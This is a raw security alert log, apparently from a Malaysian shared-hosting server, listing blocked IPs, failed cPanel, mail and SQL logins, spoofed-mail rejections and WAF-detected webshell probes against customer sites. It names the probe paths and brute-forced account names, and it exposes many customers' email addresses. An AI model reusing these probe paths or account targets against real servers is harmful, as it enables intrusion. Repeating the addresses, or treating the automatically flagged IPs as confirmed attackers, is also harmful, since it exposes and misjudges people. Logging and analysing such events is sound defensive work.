Jan 28 02:56:11 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.211.21.36 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.63.127
country_id: 953987
description:
Jan 28 02:56:18 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.63.127 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.182.222.28
country_id: 3865483
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/index.php?product_id=403&route=product/product&tag=d010-0004 - rsc printed carton HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 213.230.87.111
country_id: 1512440
domain: www.mkmetal.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mkmetal.com.my/2g.html HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 85.215.116.20
country_id: 2921044
description:
[2026-01-28 03:06:48 +0800] info [webmaild] 85.215.116.20 - payment@tujusetia.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.124.182.140
country_id: 3175395
description:
Jan 28 03:07:53 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.124.182.140 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.200.64.149
country_id: 3469034
description:
Jan 28 03:07:11 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.200.64.149 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.124.182.140
country_id: 3175395
description:
Jan 28 03:08:04 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.124.182.140 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.144
country_id: 2635167
description:
2026-01-28  3:09:30 844677 [Warning] Aborted connection 844677 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.144' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.144
country_id: 2635167
description:
2026-01-28  3:12:35 844794 [Warning] Aborted connection 844794 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.144' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.58.59.76
country_id: 1269750
description:
2026-01-28 03:13:25 dovecot_plain authenticator failed for H=(1VT5KO7) [152.58.59.76]:52022: 535 Incorrect authentication data (set_id=aipeng@fimco.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.141.242
country_id: 99237
description:
Jan 28 03:14:57 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.141.242 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.106.80.94
country_id: 3469034
description:
Jan 28 03:15:01 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.106.80.94 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.141.242
country_id: 99237
description:
Jan 28 03:15:05 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.141.242 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.72.185.159
country_id: 3469034
description:
Jan 28 03:15:55 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.72.185.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.72.185.159
country_id: 3469034
description:
Jan 28 03:16:03 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.72.185.159 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.151.182.48
country_id: 2750405
description:
2026-01-28 03:17:04 H=([46.151.182.48]) [46.151.182.48]:55055 F=<cpanel@fasterget.com.my> rejected RCPT <operation2@fasterget.com.my>: smtp auth required


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/component/tag/images/img/awards.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/img/photos/img/photos/csr.php||SC:/home/indfinitydesign/public_html/img/photos/img||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 67.205.174.40
country_id: 6252001
description:
2026-01-28  3:20:55 845178 [Warning] Aborted connection 845178 to db: 'unconnected' user: 'unauthenticated' host: '67.205.174.40' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 159.223.169.9
country_id: 6252001
description:
2026-01-28  3:20:57 845183 [Warning] Aborted connection 845183 to db: 'unconnected' user: 'unauthenticated' host: '159.223.169.9' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.144
country_id: 2635167
description:
2026-01-28  3:24:33 845343 [Warning] Aborted connection 845343 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.144' (This connection closed normally without authentication)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.151.182.48
country_id: 2750405
description:
2026-01-28 03:26:15 H=([46.151.182.48]) [46.151.182.48]:64977 F=<cpanel@ktlog.com.my> rejected RCPT <stacy@ktlog.com.my>: smtp auth required


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.202.35.161
country_id: 1831722
description:
[2026-01-28 03:27:01 +0800] info [cpaneld] 160.202.35.161 - kitty.yap@manforce.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.151.182.48
country_id: 2750405
description:
2026-01-28 03:27:57 H=([46.151.182.48]) [46.151.182.48]:52595 F=<cpanel@empirelog.com.my> rejected RCPT <waynegoh@empirelog.com.my>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 62.60.130.227
country_id: 130758
description:
2026-01-28 03:32:00 H=([62.60.130.227]) [62.60.130.227]:55924 F=<no-reply@setmore.com> rejected RCPT <prayerlink@agpc.org.my>: SPF: 62.60.130.227 is not allowed to send mail from setmore.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.173.204.141
country_id: 1269750
description:
Jan 28 03:31:29 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.173.204.141 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.173.204.141
country_id: 1269750
description:
2026-01-28 03:31:31 dovecot_plain authenticator failed for H=(namschpij83eiqgg54z29ad) [103.173.204.141]:39206: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.181.28.90
country_id: 3469034
description:
Jan 28 03:33:45 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.181.28.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.169
country_id: 3175395
description:
Jan 28 03:34:17 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.169 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.161.220.248
country_id: 1562822
domain: www.u-net.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.u-net.com.my/landscape HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.254.124.1
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=658383 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.189
country_id: 3469034
description:
Jan 28 03:40:09 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.189 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.21.246.238
country_id: 1814991
description:
Jan 28 03:40:33 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.21.246.238 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.246.238
country_id: 1814991
description:
2026-01-28 03:40:35 dovecot_login authenticator failed for H=([218.21.246.238]) [218.21.246.238]:39586: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.151.182.48
country_id: 2750405
description:
2026-01-28 03:45:55 H=([46.151.182.48]) [46.151.182.48]:55813 F=<cpanel@ktlog.com.my> rejected RCPT <cklee@ktlog.com.my>: smtp auth required


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 198.235.24.125
country_id: 6252001
description:
2026-01-28  3:47:47 846181 [Warning] Aborted connection 846181 to db: 'unconnected' user: 'unauthenticated' host: '198.235.24.125' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.17.124.71
country_id: 690791
description:
Jan 28 03:47:48 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.17.124.71 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.17.124.71
country_id: 690791
description:
Jan 28 03:48:01 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.17.124.71 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.104.235
country_id: 3469034
description:
Jan 28 03:48:10 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.104.235 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.151.182.48
country_id: 2750405
description:
2026-01-28 03:48:50 H=([46.151.182.48]) [46.151.182.48]:62005 F=<cpanel@ktlog.com.my> rejected RCPT <eunice.lee@ktlog.com.my>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.239.45.10
country_id: 1269750
description:
Jan 28 03:50:04 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.239.45.10 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.168.160
country_id: 3175395
description:
Jan 28 03:58:55 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.168.160 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 223.29.253.157
country_id: 1814991
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:03-59.223.29.253.157||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.168.160
country_id: 3175395
description:
Jan 28 03:59:02 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.168.160 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.8.253.71
country_id: 3469034
description:
Jan 28 03:59:15 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.8.253.71 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.188
country_id: 690791
description:
2026-01-28 03:59:23 H=([77.83.39.188]) [77.83.39.188]:36971 F=<info@bimaco-grupa.com> rejected RCPT <kasim_kn@ajplantations.com.my>: SPF: 77.83.39.188 is not allowed to send mail from bimaco-grupa.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.104.59
country_id: 3469034
description:
Jan 28 04:00:10 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.104.59 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 144.124.246.198
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:04-07.144.124.246.198||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.151.182.48
country_id: 2750405
description:
2026-01-28 04:08:24 H=([46.151.182.48]) [46.151.182.48]:65184 F=<cpanel@cordage.com.my> rejected RCPT <sales@cordage.com.my>: smtp auth required


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.114.25.202
country_id: 1282988
description:
[2026-01-28 04:08:39 +0800] info [whostmgrd] 103.114.25.202 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.194.168.249
country_id: 3469034
description:
[2026-01-28 04:08:48 +0800] info [whostmgrd] 186.194.168.249 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.10.22
country_id: 226074
description:
Jan 28 04:11:24 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.10.22 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/img/photos/about.php||SC:/home/indfinitydesign/public_html/img/photos/about.php||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 185.247.137.15
country_id: 2635167
description:
Jan 28 04:13:16 sv3 pure-ftpd[3231744]: (?@185.247.137.15) [INFO] New connection from 185.247.137.15


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.137.8.40
country_id: 6252001
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/ice/12/146/1256895 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.203.231.220
country_id: 2464461
description:
Jan 28 04:19:19 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.203.231.220 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.203.231.220
country_id: 2464461
description:
2026-01-28 04:19:21 dovecot_login authenticator failed for H=([196.203.231.220]) [196.203.231.220]:60466: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.249
country_id: 3469034
description:
Jan 28 04:19:40 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.249 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.229
country_id: 3469034
description:
Jan 28 04:19:06 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.229 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.243.213.4
country_id: 2017370
description:
[2026-01-28 04:20:40 +0800] info [cpaneld] 94.243.213.4 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 197.145.166.183
country_id: 2542007
description:
[2026-01-28 04:20:47 +0800] info [cpaneld] 197.145.166.183 - ww "GET /login/?login_only=1&user=ww&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ww (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.41.238.24
country_id: 286963
description:
[2026-01-28 04:20:43 +0800] info [cpaneld] 37.41.238.24 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.155.4.127
country_id: 2542007
description:
[2026-01-28 04:20:45 +0800] info [cpaneld] 105.155.4.127 - www "GET /login/?login_only=1&user=www&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user www (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 197.101.184.68
country_id: 953987
description:
[2026-01-28 04:20:38 +0800] info [cpaneld] 197.101.184.68 - wwwagpcorgmy "GET /login/?login_only=1&user=wwwagpcorgmy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wwwagpcorgmy (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 60.48.168.35
country_id: 1733045
description:
[2026-01-28 04:26:04 +0800] info [cpaneld] 60.48.168.35 - agpcorgmy "GET /login/?login_only=1&user=agpcorgmy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user agpcorgmy (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 83.171.206.109
country_id: 99237
description:
[2026-01-28 04:26:06 +0800] info [cpaneld] 83.171.206.109 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.114.36.143
country_id: 3895114
description:
[2026-01-28 04:26:09 +0800] info [cpaneld] 190.114.36.143 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.73.184.82
country_id: 290557
description:
[2026-01-28 04:26:10 +0800] info [cpaneld] 91.73.184.82 - agpc "GET /login/?login_only=1&user=agpc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user agpc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.38.210.119
country_id: 2921044
description:
[2026-01-28 04:26:12 +0800] info [cpaneld] 91.38.210.119 - agp "GET /login/?login_only=1&user=agp&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user agp (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 170.233.31.54
country_id: 3865483
description:
[2026-01-28 04:26:15 +0800] info [cpaneld] 170.233.31.54 - ag "GET /login/?login_only=1&user=ag&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ag (has_cpuser_file failed)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 167.94.138.173
country_id: 6252001
description:
Jan 28 04:31:18 sv3 pure-ftpd[3246670]: (?@167.94.138.173) [INFO] New connection from 167.94.138.173


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.185.189.211
country_id: 953987
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/phpoffice/phpexcel/Examples/33chartcreate-scatter.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.15.248
country_id: 99237
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-kernel/EventListener/DebugHandlersListener.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.216.88.94
country_id: 3469034
description:
Jan 28 04:37:28 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.216.88.94 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.39.153
country_id: 953987
description:
Jan 28 04:37:53 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.39.153 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.39.153
country_id: 953987
description:
Jan 28 04:38:02 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.39.153 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.242.102
country_id: 1269750
description:
Jan 28 04:38:16 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.242.102 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.107.213
country_id: 3469034
description:
Jan 28 04:40:03 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.107.213 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.12.133.18
country_id: 3865483
description:
Jan 28 04:40:30 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.12.133.18 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.231.88.146
country_id: 1861060
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/img/photos/6250854050.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/img/img/img/img/about.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/portfolio/img/img/demos/img/img/new-development.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.74.51.249
country_id: 390903
description:
[2026-01-28 04:46:14 +0800] info [webmaild] 45.74.51.249 - chew@nexuscollection.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.52.211.184
country_id: 1694008
description:
Jan 28 05:01:55 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.52.211.184 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.78.255.88
country_id: 1210997
domain: webhosting2u.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/webhosting2u.com/masaaki/about/ HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.248.113.61
country_id: 3996063
description:
Jan 28 05:04:20 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.248.113.61 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.181.114.228
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=934113 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.44.78.250
country_id: 690791
description:
Jan 28 05:10:42 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.44.78.250 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/photos/csr.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.217.104.253
country_id: 2077456
domain: solidfence.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/solidfence.com.my/product-posts/assets/img/product/Barb Wire.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/images/images/about.php||SC:/home/indfinitydesign/public_html/images/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.128
country_id: 3469034
description:
Jan 28 05:18:49 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.128 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.128
country_id: 3469034
description:
Jan 28 05:19:04 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.128 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.225.87.232
country_id: 1814991
domain: oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/oxbold.com/supyogamalaysia-howtogetthere.htm HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 220.154.134.114
country_id: 1814991
description:
2026-01-28 05:21:08 H=([220.154.134.114]) [220.154.134.114]:56800 F=<dse_NA2@docusign.net> rejected RCPT <suffian@pspoly.com.my>: SPF: 220.154.134.114 is not allowed to send mail from docusign.net


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 172.96.89.130
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:05-23.172.96.89.130||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.75.197.174
country_id: 1269750
description:
Jan 28 05:24:00 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.75.197.174 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.250.149.25
country_id: 1269750
description:
Jan 28 05:24:38 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.250.149.25 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
